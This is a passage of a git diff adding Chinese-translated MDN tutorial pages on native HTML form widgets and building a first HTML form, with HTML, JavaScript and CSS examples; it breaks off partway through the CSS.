a fruit</label> + <select id="suggestion" name="altFruit"> + <option>Apple</option> + <option>Banana</option> + <option>Blackberry</option> + <option>Blueberry</option> + <option>Lemon</option> + <option>Lychee</option> + <option>Peach</option> + <option>Pear</option> + </select> +</datalist> +</pre> + +<p>支持{{HTMLElement("datalist")}}元素的浏览器将忽略所有不是{{HTMLElement("option")}}元素的元素,并按照预期工作。另一方面,不支持{{HTMLElement("datalist")}}元素的浏览器将显示标签和选择框。当然,还有其他方法可以处理对{{HTMLElement("datalist")}}元素支持的不足,但这是最简单的(其他方法往往需要JavaScript)。</p> + +<table> + <tbody> + <tr> + <th scope="row">Safari 6</th> + <td><img alt="Screenshot of the datalist element fallback with Safari on Mac OS" src="/files/4583/datalist-safari.png" style="height: 32px; width: 495px;"></td> + </tr> + <tr> + <th scope="row">Firefox 18</th> + <td><img alt="Screenshot of the datalist element with Firefox on Mac OS" src="/files/4581/datalist-firefox-macos.png" style="height: 102px; width: 353px;"></td> + </tr> + </tbody> +</table> + +<h2 id="可选中项">可选中项</h2> + +<p>可选中项是可以通过单击它们来更改状态的小部件。有两种可选中项:复选框和单选按钮。两者都使用{{htmlattrxref("checked","input")}}属性,以指示该部件的默认状态: "选中"或"未选中"。</p> + +<p>值得注意的是,这些小部件与其他表单小部件不一样。对于大多数表单部件,一旦表单提交,所有具有{{htmlattrxref("name","input")}}属性的小部件都会被发送,即使没有任何值被填。对于可选中项,只有在勾选时才发送它们的值。如果他们没有被勾选,就不会发送任何东西,甚至连他们的名字也没有。</p> + +<div class="note"> +<p><strong>注意</strong>: 你可以在Github上看到 <a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/checkable-items.html">checkable-items.html</a> (你也可以看<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/checkable-items.html">预览版</a>)。</p> +</div> + +<p>为了获得最大的可用性和可访问性,建议您在{{htmlelement("fieldset")}}中包围每个相关项目的列表,并使用{{htmlelement("legend")}}提供对列表的全面描述。每个单独的{{htmlelement("label")}}/{{htmlelement("input")}}元素都应该包含在它自己的列表项中(或者类似的)。正如在示例中显示的。</p> + +<p>您还需要为这些类型的输入提供<code>value</code>属性,如果您想让它们具有意义——如果没有提供任何值,则复选框和单选按钮被赋予一个 <code>on</code>值。</p> + +<h3 id="复选框">复选框</h3> + +<p>使用{{htmlattrxref("type","input")}}属性值为<code>checkbox</code>的 {{HTMLElement("input")}}元素来创建一个复选框。</p> + +<pre class="brush: html notranslate"><input type="checkbox" checked id="carrots" name="carrots" value="carrots"> +</pre> + +<p>包含<code>checked</code>属性使复选框在页面加载时自动被选中。</p> + +<p><img alt="Screenshots of check boxes on several platforms." src="/files/4595/all-checkbox.png" style="height: 198px; width: 352px;"></p> + +<h3 id="单选按钮">单选按钮</h3> + +<p>使用{{htmlattrxref("type","input")}}属性值为<code>radio</code>的 {{HTMLElement("input")}}元素来创建一个单选按钮。</p> + +<pre class="brush: html notranslate"><input type="radio" checked id="soup" name="meal"></pre> + +<p>几个单选按钮可以连接在一起。如果它们的{{htmlattrxref("name","input")}}属性共享相同的值,那么它们将被认为属于同一组的按钮。同一组中只有一个按钮可以同时被选;这意味着当其中一个被选中时,所有其他的都将自动未选中。如果没有选中任何一个,那么整个单选按钮池就被认为处于未知状态,并且没有以表单的形式发送任何值。</p> + +<pre class="brush: html notranslate"><fieldset> + <legend>What is your favorite meal?</legend> + <ul> + <li> + <label for="soup">Soup</label> + <input type="radio" checked id="soup" name="meal" value="soup"> + </li> + <li> + <label for="curry">Curry</label> + <input type="radio" id="curry" name="meal" value="curry"> + </li> + <li> + <label for="pizza">Pizza</label> + <input type="radio" id="pizza" name="meal" value="pizza"> + </li> + </ul> +</fieldset></pre> + +<p><img alt="Screenshots of radio buttons on several platforms." src="/files/4597/all-radio.png" style="height: 198px; width: 352px;"></p> + +<h2 id="按钮">按钮</h2> + +<p>在HTML表单中,有三种按钮:</p> + +<dl> + <dt>Submit</dt> + <dd>将表单数据发送到服务器。对于{{HTMLElement("button")}} 元素, 省略 <code>type</code> 属性 (或是一个无效的 <code>type</code> 值) 的结果就是一个提交按钮.</dd> + <dt>Reset</dt> + <dd>将所有表单小部件重新设置为它们的默认值。</dd> + <dt>Anonymous</dt> + <dd>没有自动生效的按钮,但是可以使用JavaScript代码进行定制。</dd> +</dl> + +<div class="note"> +<p><strong>注意</strong>: 你可以在Github上看到<a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/button-examples.html">button-examples.html</a> (你也可以看<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/button-examples.html">预览版</a>)。</p> +</div> + +<p>使用 {{HTMLElement("button")}}元素或者{{HTMLElement("input")}}元素来创建一个按钮。{{htmlattrxref("type","input")}}属性的值指定显示什么类型的按钮。</p> + +<h3 id="submit">submit</h3> + +<pre class="brush: html notranslate"><button type="submit"> + This a <br><strong>submit button</strong> +</button> + +<input type="submit" value="This is a submit button"></pre> + +<h3 id="reset">reset</h3> + +<pre class="brush: html notranslate"><button type="reset"> + This a <br><strong>reset button</strong> +</button> + +<input type="reset" value="This is a reset button"></pre> + +<h3 id="button">button</h3> + +<pre class="brush: html notranslate"><button type="button"> + This an <br><strong>anonymous button</strong> +</button> + +<input type="button" value="This is an anonymous button"></pre> + +<p>不管您使用的是{{HTMLElement("button")}}元素还是{{HTMLElement("input")}}元素,按钮的行为都是一样的。然而,有一些显著的不同之处:</p> + +<ul> + <li>从示例中可以看到,{{HTMLElement("button")}}元素允许您在它们的标签中使用HTML内容,这些内容被插入到打开和关闭<code><button></code> 标签中。另一方面,{{HTMLElement("input")}}元素是空元素;它们的标签插入在<code>value</code>属性中,因此只接受纯文本内容。</li> + <li>使用{{HTMLElement("button")}}元素,可以有一个不同于按钮标签的值(通过设置<code>value</code>中的属性值)。这在IE 8之前的版本中是不可靠的。</li> +</ul> + +<p><img alt="Screenshots of buttons on several platforms." src="/files/4599/all-buttons.png" style="height: 235px; width: 464px;"></p> + +<p>从技术上讲,使用{{HTMLElement("button")}}元素或{{HTMLElement("input")}}元素定义的按钮几乎没有区别。唯一值得注意的区别是按钮本身的标签。在{{HTMLElement("input")}}元素中,标签只能是字符数据,而在{{HTMLElement("button")}}元素中,标签可以是HTML,因此可以相应地进行样式化。</p> + +<h2 id="高级表单部件">高级表单部件</h2> + +<p>在本节中,我们将介绍那些让用户输入复杂或不寻常数据的小部件。这包括精确的或近似的数字,日期和时间,或颜色。</p> + +<div class="note"> +<p><strong>注意</strong>: 你可以在Github上看到<a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/advanced-examples.html">advanced-examples.html</a> (你也可以看<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/advanced-examples.html">预览版</a>)。</p> +</div> + +<h3 id="数字">数字</h3> + +<p>用于数字的小部件是用{{htmlattrxref("type","input")}}属性设置为<code>number</code>{{HTMLElement("input")}}的元素创建的。这个控件看起来像一个文本框,但是只允许浮点数,并且通常提供一些按钮来增加或减少小部件的值。</p> + +<p>也可以:</p> + +<ul> + <li>通过设置{{htmlattrxref("min","input")}}和{{htmlattrxref("max","input")}}属性来约束该值。</li> + <li>通过设置{{htmlattrxref("step","input")}}属性来指定增加和减少按钮更改小部件的步进值大小。</li> +</ul> + +<h4 id="例子">例子</h4> + +<pre class="brush: html notranslate"><input type="number" name="age" id="age" min="1" max="10" step="2"></pre> + +<p>这将创建一个数字小部件,其值被限制为1到10之间的任何值,而其增加和减少按钮的步进值将更改为2。</p> + +<p>在10以下的Internet Explorer版本中不支持<code>number</code> 输入。</p> + +<h3 id="滑块">滑块</h3> + +<p>另一种选择数字的方法是使用滑块。从视觉上讲,滑块没有文本字段准确,因此它们被用来选择一个确切值并不重要的数字。</p> + +<p>滑块是通过把{{HTMLElement("input")}}元素的{{htmlattrxref("type","input")}}属性值设置为<code>range</code>来创建的。正确配置滑块是很重要的;为了达到这个目的,我们强烈建议您设置{{htmlattrxref("min","input")}}、{{htmlattrxref("max","input")}}和{{htmlattrxref("step","input")}}属性。</p> + +<h4 id="例子_2">例子</h4> + +<pre class="brush: html notranslate"><input type="range" name="beans" id="beans" min="0" max="500" step="10"></pre> + +<p>这个例子创建了一个滑块,它可能的值在0到500之间,而它的递增/递减按钮以+10和-10来改变值。</p> + +<p>滑块的一个问题是,它们不提供任何形式的视觉反馈,以了解当前的值是什么。您需要使用JavaScript来添加这一点,但这相对来说比较容易。在本例中,我们添加了一个空的{{htmlelement("span")}}元素,其中我们将写入滑块的当前值,并随着更改实时更新它。</p> + +<pre class="brush: html notranslate"><label for="beans">How many beans can you eat?</label> +<input type="range" name="beans" id="beans" min="0" max="500" step="10"> +<span class="beancount"></span></pre> + +<p>可以使用一些简单的JavaScript实现</p> + +<pre class="brush: js notranslate">var beans = document.querySelector('#beans'); +var count = document.querySelector('.beancount'); + +count.textContent = beans.value; + +beans.oninput = function() { + count.textContent = beans.value; +}</pre> + +<p>这里我们将对范围输入值和span的引用存储在两个变量里,然后我们立即将span的<code><a href="/en-US/docs/Web/API/Node/textContent">textContent</a></code>设置为输入的当前<code>value</code>。最后,我们设置了一个<code>oninput</code>事件处理程序,以便每次移动范围滑块时,都会将span <code>textContent</code>更新为新的输入值。</p> + +<p>在10以下的Internet Explorer版本中不支持<code>range</code> 。</p> + +<h3 id="日期时间选择器">日期时间选择器</h3> + +<p>对于web开发人员来说,收集日期和时间值一直是一场噩梦。HTML5通过提供一种特殊的控制来处理这种特殊的数据,从而带来了一些增强。</p> + +<p>使用{{HTMLElement("input")}}元素和一个适当的值的{{htmlattrxref("type","input")}}属性来创建日期和时间控制,这取决于您是否希望收集日期、时间或两者都。</p> + +<h4 id="本地时间"><code>本地时间</code></h4> + +<p>这将创建一个小部件来显示和选择一个日期,但是没有任何特定的时区信息。</p> + +<pre class="brush: html notranslate"><input type="datetime-local" name="datetime" id="datetime"></pre> + +<h4 id="月"><code>月</code></h4> + +<p>这就创建了一个小部件来显示和挑选一个月。</p> + +<pre class="brush: html notranslate"><input type="month" name="month" id="month"></pre> + +<h4 id="时间"><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: #eeeeee;">时间</span></font></h4> + +<p>这将创建一个小部件来显示并选择一个时间值。</p> + +<pre class="brush: html notranslate"><input type="time" name="time" id="time"></pre> + +<h4 id="星期"><code>星期</code></h4> + +<p>这将创建一个小部件来显示并挑选一个星期号和它的年份。</p> + +<pre class="brush: html notranslate"><input type="week" name="week" id="week"></pre> + +<p>所有日期和时间控制都可以使用{{htmlattrxref("min","input")}}和{{htmlattrxref("max","input")}}属性来约束。</p> + +<pre class="brush: html notranslate"><label for="myDate">When are you available this summer?</label> +<input type="date" name="myDate" min="2013-06-01" max="2013-08-31" id="myDate"></pre> + +<p>警告——日期和时间窗口小部件仍然很不受支持。目前,Chrome、Edge和Opera都支持它们,但IE浏览器没有支持,Firefox和Safari对这些都没有太大的支持。</p> + +<h3 id="拾色器">拾色器</h3> + +<p>颜色总是有点难处理。有很多方式来表达它们:RGB值(十进制或十六进制)、HSL值、关键字等等。颜色小部件允许用户在文本和可视的方式中选择颜色。</p> + +<p>一个颜色小部件是使用{{htmlattrxref("type","input")}}属性设置为值<code>color</code>{{HTMLElement("input")}}的元素创建的。</p> + +<pre class="brush: html notranslate"><input type="color" name="color" id="color"></pre> + +<p>警告——并不是所有浏览器都支持拾色器。IE中没有支持,Safari目前也不支持它。其他主要的浏览器都支持它。</p> + +<h2 id="其他小部件">其他小部件</h2> + +<p>还有一些其他的小部件由于它们非常特殊的行为而不能很容易地分类,但是它们仍然非常有用。</p> + +<div class="note"> +<p><strong>注意</strong>: 你可以在Github上看到<a href="https://github.com/mdn/learning-area/blob/master/html/forms/native-form-widgets/other-examples.html">other-examples.html</a>(你也可以看<a href="https://mdn.github.io/learning-area/html/forms/native-form-widgets/other-examples.html">预览版</a>)。</p> +</div> + +<h3 id="文件选择器">文件选择器</h3> + +<p>HTML表单能够将文件发送到服务器;在<a href="/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">发送和检索表单数据</a>的文章中详细描述了这个特定的操作。文件选择器小部件是用户如何选择一个或多个文件来发送的。</p> + +<p>要创建一个文件选择器小部件,您可以使用{{HTMLElement("input")}}元素,将它的{{htmlattrxref("type","input")}}属性设置为<code>file</code>。被接受的文件类型可以使用{{htmlattrxref("accept","input")}}属性来约束。此外,如果您想让用户选择多个文件,那么可以通过添加{{htmlattrxref("multiple","input")}}属性来实现。</p> + +<h4 id="例子_3">例子</h4> + +<p>在本例中,创建一个文件选择器,请求图形图像文件。在本例中,允许用户选择多个文件。</p> + +<pre class="brush: html notranslate"><input type="file" name="file" id="file" accept="image/*" multiple></pre> + +<h3 id="隐藏内容">隐藏内容</h3> + +<p>有时候,由于为了方便技术原因,有些数据是用表单发送的,但不显示给用户。要做到这一点,您可以在表单中添加一个不可见的元素。要做到这一点,需要使用{{HTMLElement("input")}}将它的{{htmlattrxref("type","input")}}属性设置为<code>hidden</code>值。</p> + +<p>如果您创建了这样一个元素,就需要设置它的<code>name</code>和<code>value</code>属性:</p> + +<pre class="brush: html notranslate"><input type="hidden" id="timestamp" name="timestamp" value="1286705410"></pre> + +<h3 id="图像按钮">图像按钮</h3> + +<p>图像按钮控件是一个与{{HTMLElement("img")}}元素完全相同的元素,除了当用户点击它时,它的行为就像一个提交按钮(见上面)。</p> + +<p>图像按钮是使用{{htmlattrxref("type","input")}}属性值设置为<code>image</code>{{HTMLElement("input")}}的元素创建的。这个元素支持与{{HTMLElement("img")}}元素相同的属性,和其他表单按钮支持的所有属性。</p> + +<pre class="brush: html notranslate"><input type="image" alt="Click me!" src="my-img.png" width="80" height="30" /></pre> + +<p>如果使用图像按钮来提交表单,这个小部件不会提交它的值;相反,提交的是在图像上单击处的X和Y坐标(坐标是相对于图像的,这意味着图像的左上角表示坐标0,0),坐标被发送为两个键/值对:</p> + +<ul> + <li>X值键是{{htmlattrxref("name","input")}}属性的值,后面是字符串“.x”。</li> + <li>Y值键是{{htmlattrxref("name","input")}}属性的值,后面是字符串“.y”。</li> +</ul> + +<p>例如,当您点击这个小部件的图像时,您将被发送到一个URL,如下所显示的</p> + +<pre class="notranslate">http://foo.com?pos.x=123&pos.y=456</pre> + +<p>这是构建“热图”的一种非常方便的方式。如何发送和检索这些值在<a href="/en-US/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">发送和检索表单数据</a>文章中详细说明。</p> + +<h3 id="仪表和进度条">仪表和进度条</h3> + +<p>仪表和进度条是数值的可视化表示。</p> + +<h4 id="进度条">进度条</h4> + +<p>一个进度条表示一个值,它会随着时间的变化而变化到最大的值,这个值由{{htmlattrxref("max","progress")}}属性指定。这样的一个bar是使用{{ HTMLElement("progress")}}元素创建的。</p> + +<pre class="brush: html notranslate"><progress max="100" value="75">75/100</progress></pre> + +<p>这是为了实现任何需要进度报告的内容,例如下载的总文件的百分比,或者问卷中填写的问题的数量。</p> + +<p>{{HTMLElement("progress")}}元素中的内容用于不支持该元素的浏览器的回退,以及辅助技术对其朗读。</p> + +<h4 id="仪表">仪表</h4> + +<p>一个仪表表示一个固定值,这个值由一个{{htmlattrxref("min","meter")}}和一个{{htmlattrxref("max","meter")}}值所界定。这个值是作为一个条形显示的,并且为了知道这个工具条是什么样子的,我们将这个值与其他一些设置值进行比较</p> + +<ul> + <li> {{htmlattrxref("low","meter")}} 和 {{htmlattrxref("high","meter")}} 值范围划分为三个部分: + <ul> + <li>该范围的较低部分是在{{htmlattrxref("min","meter")}}和{{htmlattrxref("low","meter")}}值(包括那些值)之间。</li> + <li>该范围的中间部分是在{{htmlattrxref("low","meter")}}和{{htmlattrxref("high","meter")}}值之间(不包括那些值)。</li> + <li>该范围的较高部分是在{{htmlattrxref("high","meter")}}和{{htmlattrxref("max","meter")}}值(包括那些值)之间。</li> + </ul> + </li> + <li>{{htmlattrxref("optimum","meter")}}值定义了{{HTMLElement("meter")}}元素的最优值。在与htmlattrxref(“low”、“meter”)和{{htmlattrxref("high","meter")}}值的联合中,它定义了该范围的哪个部分是优先的: + <ul> + <li>如果{{htmlattrxref("optimum","meter")}}值在较低的范围内,则较低的范围被认为是首选项,中等范围被认为是一般的,而较高的范围被认为是最坏的部分。</li> + <li>如果{{htmlattrxref("optimum","meter")}}值在该范围的中等部分,则较低的范围被认为是一个一般的,中等范围被认为是优先的部分,而较高的范围也被认为是平均值。</li> + <li>如果{{htmlattrxref("optimum","meter")}}值在较高的范围内,则较低的范围被认为是最坏的部分,中等范围被认为是一般的部分,较高的范围被认为是优先的部分。</li> + </ul> + </li> +</ul> + +<p>所有实现{{HTMLElement("meter")}}元素的浏览器都使用这些值来改变米尺的颜色。</p> + +<ul> + <li>如果当前值位于该范围的优先部分,则该条是绿色的。</li> + <li>如果当前值位于该范围的平均部分,则该条是黄色的。</li> + <li>如果当前值处于最糟糕的范围,则该条是红色的。</li> +</ul> + +<p>这样的一个工具栏是使用{{HTMLElement("meter")}}元素创建的。这是用于实现任何类型的仪表,例如一个显示磁盘上使用的总空间的条,当它开始满时,它会变成红色。</p> + +<pre class="brush: html notranslate"><meter min="0" max="100" value="75" low="33" high="66" optimum="50">75</meter></pre> + +<p>{{HTMLElement("meter")}}元素中的内容是不支持该元素的浏览器的回退,以及辅助技术对其发出的声音。</p> + +<p>对进度条和仪表的支持是相当不错的,在Internet Explorer中没有支持,但是其他浏览器都可以很好的支持它。</p> + +<h2 id="总结">总结</h2> + +<p>正如您在上面看到的,有许多不同类型的可用表单元素——您不需要一次性记住所有细节,可以随时返回本文查看详细信息。</p> + +<h2 id="另见">另见</h2> + +<p>要深入了解不同的表单小部件,您需要了解一些有用的外部资源:</p> + +<ul> + <li><a href="http://wufoo.com/html5/" rel="external" title="http://wufoo.com/html5/">The Current State of HTML5 Forms</a> by Wufoo</li> + <li><a href="http://www.quirksmode.org/html5/inputs.html" rel="external" title="http://www.quirksmode.org/html5/inputs.html">HTML5 Tests - inputs</a> on Quirksmode (also <a href="http://www.quirksmode.org/html5/inputs_mobile.html" rel="external" title="http://www.quirksmode.org/html5/inputs_mobile.html">available for mobile</a> browsers)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms")}}</p> diff --git a/files/zh-cn/learn/html/forms/your_first_html_form/index.html b/files/zh-cn/learn/html/forms/your_first_html_form/index.html new file mode 100644 index 0000000000..5b0adc1480 --- /dev/null +++ b/files/zh-cn/learn/html/forms/your_first_html_form/index.html @@ -0,0 +1,266 @@ +--- +title: 创建我的第一个表单 +slug: Learn/HTML/Forms/Your_first_HTML_form +translation_of: Learn/Forms/Your_first_form +--- +<p>{{LearnSidebar}}{{NextMenu("Learn/HTML/Forms/How_to_structure_an_HTML_form", "Learn/HTML/Forms")}}</p> + +<p class="summary">本系列的第一篇文章提供了您第一次创建HTML表单的经验,包括设计一个简单表单,使用正确的HTML元素实现它,通过CSS添加一些非常简单的样式,以及如何将数据发送到服务器。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td> + <p>基本计算机素养和<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">对HTML的基本理解</a>。</p> + </td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>为了熟悉HTML表单是什么,它们被用来做什么,如何设计它们,以及简单情况下需要的基本HTML元素。</td> + </tr> + </tbody> +</table> + +<h2 id="HTML表单是什么?">HTML表单是什么?</h2> + +<p>HTML表单是用户和web站点或应用程序之间交互的主要内容之一。它们允许用户将数据发送到web站点。大多数情况下,数据被发送到web服务器,但是web页面也可以自己拦截它并使用它。</p> + +<p>HTML表单是由一个或多个小部件组成的。这些小部件可以是文本字段(单行或多行)、选择框、按钮、复选框或单选按钮。大多数情况下,这些小部件与描述其目的的标签配对——正确实现的标签能够清楚地指示视力正常的用户和盲人用户输入表单所需的内容。</p> + +<p>HTML表单和常规HTML文档的主要区别在于,大多数情况下,表单收集的数据被发送到web服务器。在这种情况下,您需要设置一个web服务器来接收和处理数据。如何设置这样的服务器超出了本文的范围,但是如果您想了解更多,请参阅模块后面的<a href="/zh-CN/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">发送表单数据</a>。</p> + +<h2 id="设计表单">设计表单</h2> + +<p>在开始编写代码之前,最好先退一步,花点时间考虑一下您的表单。设计一个快速的模型将帮助您定义您想要询问用户的正确的数据集。从用户体验(UX)的角度来看,要记住:表单越大,失去用户的风险就越大。保持简单,保持专注:只要求必要的数据。在构建站点或应用程序时,设计表单是非常重要的一步。这超出了本文的范围,涵盖了表单的用户体验,但是如果您想深入了解这个主题,您应该阅读下面的文章:</p> + +<ul> + <li>杂志<Smashing Magazine>中有<a href="http://uxdesign.smashingmagazine.com/tag/forms/">很好的关于表单用户体验的文章</a>,或许其中最重要的应该是他们的<a href="http://uxdesign.smashingmagazine.com/2011/11/08/extensive-guide-web-form-usability/" rel="external" title="http://uxdesign.smashingmagazine.com/2011/11/08/extensive-guide-web-form-usability/">Extensive Guide To Web Form Usability</a>.</li> + <li>UXMatters 也是一个非常有思想的资源,从基本的<a href="http://www.uxmatters.com/mt/archives/2012/05/7-basic-best-practices-for-buttons.php" rel="拓展" title="http://www.uxmatters.com/mt/archives/2012/05/7-basic-best-practices-for-buttons.php">最佳实践</a>到复杂的问题如<a href="https://www.uxmatters.com/mt/archives/2010/03/pagination-in-web-forms-evaluating-the-effectiveness-of-web-forms.php">多页表单</a>,都有很好的建议。</li> +</ul> + +<p>在本文中,我们将构建一个简单的联系人表单。让我们做一个粗略的草图。</p> + +<p><img alt="The form to build, roughly sketch" src="/files/4579/form-sketch-low.jpg" style="border-style: solid; border-width: 1px; height: 352px; width: 400px;"></p> + +<p>我们的表单将包含三个文本字段和一个按钮。我们向用户询问他们的姓名、电子邮件和他们想要发送的信息。点击这个按钮将把他们的数据发送到一个web服务器。</p> + +<h2 id="主动学习使用HTML实现我们的表单">主动学习:使用HTML实现我们的表单</h2> + +<p>好了,现在我们准备进入HTML代码并对表单进行编码。为了构建我们的联系人表单,我们将使用以下HTML元素:{{HTMLElement("form")}}, {{HTMLElement("label")}}, {{HTMLElement("input")}}, {{HTMLElement("textarea")}}, and {{HTMLElement("button")}}.</p> + +<p>在进一步讨论之前,先创建一个<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">简单HTML模板</a>的本地副本—您将在这里输入您的表单HTML。</p> + +<h3 id="HTMLElementform_元素">{{HTMLElement("form")}} 元素</h3> + +<p>所有HTML表单都以一个{{HTMLElement("form")}}元素开始:</p> + +<pre class="brush:html; notranslate"><form action="/my-handling-form-page" method="post"> + +</form></pre> + +<p>这个元素正式定义了一个表单。就像{{HTMLElement("div")}}元素或{{HTMLElement("p")}}元素,它是一个容器元素,但它也支持一些特定的属性来配置表单的行为方式。它的所有属性都是可选的,但实践中最好至少要设置<code>action</code>属性和<code>method</code>属性。</p> + +<ul> + <li><code>action</code> 属性定义了在提交表单时,应该把所收集的数据送给谁(/那个模块)(URL)去处理。.</li> + <li> <code>method</code> 属性定义了发送数据的HTTP方法(它可以是“get”或“post”).</li> +</ul> + +<div class="note"> +<p><strong>注意:</strong>如果您想深入了解这些属性是如何工作的,那么将在<a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">发送表单数据</a>文章中详细说明。</p> +</div> + +<p>现在,将上面的{{htmlelement("form")}} 元素添加到您的HTML主体中</p> + +<h3 id="HTMLelementlabel_HTMLelementinput_和_HTMLelementtextarea_元素">{{HTMLelement("label")}}, {{HTMLelement("input")}} 和 {{HTMLelement("textarea")}} 元素</h3> + +<p>我们的联系人表单非常简单,包含三个文本字段,每个字段都有一个标签。该名称的输入字段将是一个基本的单行文本字段,电子邮件的输入字段将是一个只接受电子邮件地址的单行文本字段,而消息的输入字段将是一个基本的多行文本字段。</p> + +<p>就HTML代码而言,我们需要如下的东西来实现这些表单小部件:</p> + +<pre class="brush:html; notranslate"><form action="/my-handling-form-page" method="post"> +<code> <div> + <label for="name">Name:</label> + <input type="text" id="name"> + </div> + <div> + <label for="mail">E-mail:</label> + <input type="email" id="mail"> + </div> + <div> + <label for="msg">Message:</label> + <textarea id="msg"></textarea> + </div> +</form></code></pre> + +<p>更新您的表单代码,使其看起来像上面的代码。</p> + +<p>使用{{HTMLElement("div")}} 元素可以使我们更加方便地构造我们自己的代码,并且更容易样式化(参见本文后面的文章)。注意在所有{{HTMLElement("label")}}元素上使用<code>for</code>属性;它是将标签链接到表单小部件的一种正规方式。这个属性引用对应的小部件的<code>id</code>。这样做有一些好处。最明显的一个好处是允许用户单击标签以激活相应的小部件。如果您想更好地理解这个属性的其他好处,您可以找到<a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">如何构造HTML表单的详细信息</a>。</p> + +<p>在 {{HTMLElement("input")}}元素中,最重要的属性是<code>type</code> 属性。这个属性非常重要,因为它定义了{{HTMLElement("input")}}属性的行为方式。它可以从根本上改变元素,所以要注意它。稍后您将在<a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Forms/The_native_form_widgets">原生表单控件</a>文章中找到更多关于此的内容。</p> + +<ul> + <li>在我们的简单示例中,我们使用值 <code>text</code> 作为第一个输入——这个属性的默认值。它表示一个基本的单行文本字段,接受任何类型的文本输入。</li> + <li>对于第二个输入,我们使用值<code>email</code>,它定义了一个只接受格式正确的电子邮件地址的单行文本字段。这会将一个基本的文本字段转换为一种“智能”字段,该字段将对用户输入的数据进行一些检查。在稍后的表单数据验证文章中,您将了解到更多关于<a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Forms/Data_form_validation">表单验证</a>的信息。</li> +</ul> + +<p>最后但同样重要的是,要注意<code><input></code> 和 <code><textarea></textarea></code>的语法。这是HTML的一个奇怪之处。 <code><input></code> 标签是一个空元素,这意味着它不需要关闭标签。相反, {{HTMLElement("textarea")}}不是一个空元素,因此必须使用适当的结束标记来关闭它。这对HTML表单的特定特性有影响:定义默认值的方式。要定义{{HTMLElement("input")}}的默认值,你必须使用<code>value</code> 属性,如下所示:</p> + +<pre class="html notranslate"><input type="text" value="by default this element is filled with this text" /></pre> + +<p>相反,如果您想定义{{HTMLElement("textarea")}}的默认值,您只需在{{HTMLElement("textarea")}}元素的开始和结束标记之间放置默认值,就像这样:</p> + +<pre class="html notranslate"><textarea>by default this element is filled with this text</textarea></pre> + +<h3 id="HTMLelementbutton_元素">{{HTMLelement("button")}} 元素</h3> + +<p>我们的表格已经快准备好了,我们只需要再添加一个按钮,让用户在填写完表单后发送他们的数据。这是通过使用 {{HTMLelement("button")}} 元素完成的。在 <code></form>这个结束</code>标签上方添加以下内容:</p> + +<pre class="brush:html; notranslate"><div class="button"> + <button type="submit">Send your message</button> +</div> +</pre> + +<p>您会看到{{htmlelement("button")}}元素也接受一个 <code>type</code>属性,它接受<code>submit</code>, <code>reset</code>或者 <code>button</code> 三个值中的任一个。</p> + +<ul> + <li>单击 <code>type</code> 属性定义为 <code>submit</code> 值(也是默认值)的按钮会发送表单的数据到{{HTMLElement("form")}}元素的<code>action</code> 属性所定义的网页。</li> + <li>单击 <code>type</code> 属性定义为 <code>reset</code> 值的按钮 将所有表单小部件重新设置为它们的默认值。从用户体验的角度来看,这被认为是一种糟糕的做法。</li> + <li>单击 <code>type</code> 属性定义为 <code>button</code> 值的按钮……不会发生任何事!这听起来很傻,但是用JavaScript构建定制按钮非常有用。 </li> +</ul> + +<div class="note"> +<p><strong>注意:</strong>您还可以使用相应类型的 {{HTMLElement("input")}}元素来生成一个按钮,如 <code><input type="submit"></code>。{{htmlelement("button")}}元素的主要优点是, {{HTMLElement("input")}}元素只允许纯文本作为其标签,而{{htmlelement("button")}}元素允许完整的HTML内容,允许更复杂、更有创意的按钮文本。</p> +</div> + +<h2 id="基本表单样式">基本表单样式</h2> + +<p>现在您已经完成了表单的HTML代码,尝试保存它并在浏览器中查看它。<br> + 现在,你会看到它看起来很丑。</p> + +<p><img alt="" src="/files/4049/form-no-style.png" style="height: 170px; width: 534px;"></p> + +<div class="note"> +<p><strong>注意:</strong> 如果你怀疑你的HTML代码不对,试着把它和我们完成的例子进行比较 —— <a href="https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form.html">first-form.html</a> (你也可以观看<a href="https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form.html">预览版</a>)。</p> +</div> + +<p>如何排布好表单是公认的难点。这超出了本文的讨论范围,所以现在我们只需要让您添加一些CSS来让它看起来很好。</p> + +<p>首先,在您的HTML头部中添加一个 {{htmlelement("style")}}元素。应该是这样的:</p> + +<pre class="brush:html; notranslate"><style> + +</style></pre> + +<p>在样式标签中,添加如下的CSS,如下所示:</p> + +<pre class="brush:css; notranslate">form { + /* 居中表单 */ + margin: 0 auto; + width: 400px; + /* 显示表单的轮廓 */ + padding: 1em; + border: 1px solid #CCC; + border-radius: 1em; +} + +ul { + list-style: none; + padding: 0; + margin: 0; +} + +form li + li { + margin-top: 1em; +} + +label { + /* 确保所有label大小相同并正确对齐 */ + display: inline-block; + width: 90px; + text-align: right; +} + +input, textarea { + /* 确保所有文本输入框字体相同 + textarea默认是等宽字体 */ + font: 1em sans-serif; + + /* 使所有文本输入框大小相同 */ + width: 300px; + box-sizing: border-box; + + /* 调整文本输入框的边框样式 */ + border: 1px solid #999; +} + +input:focus, textarea:focus { + /* 给激活的元素一点高亮效果 */ + border-color: #000; +} + +textarea { + /* 使多行文本输入框和它们的label正确对齐 */ + vertical-align: top; + + /* 给文本留下足够的空间 */ + height: 5em; +} + +.button { + /* 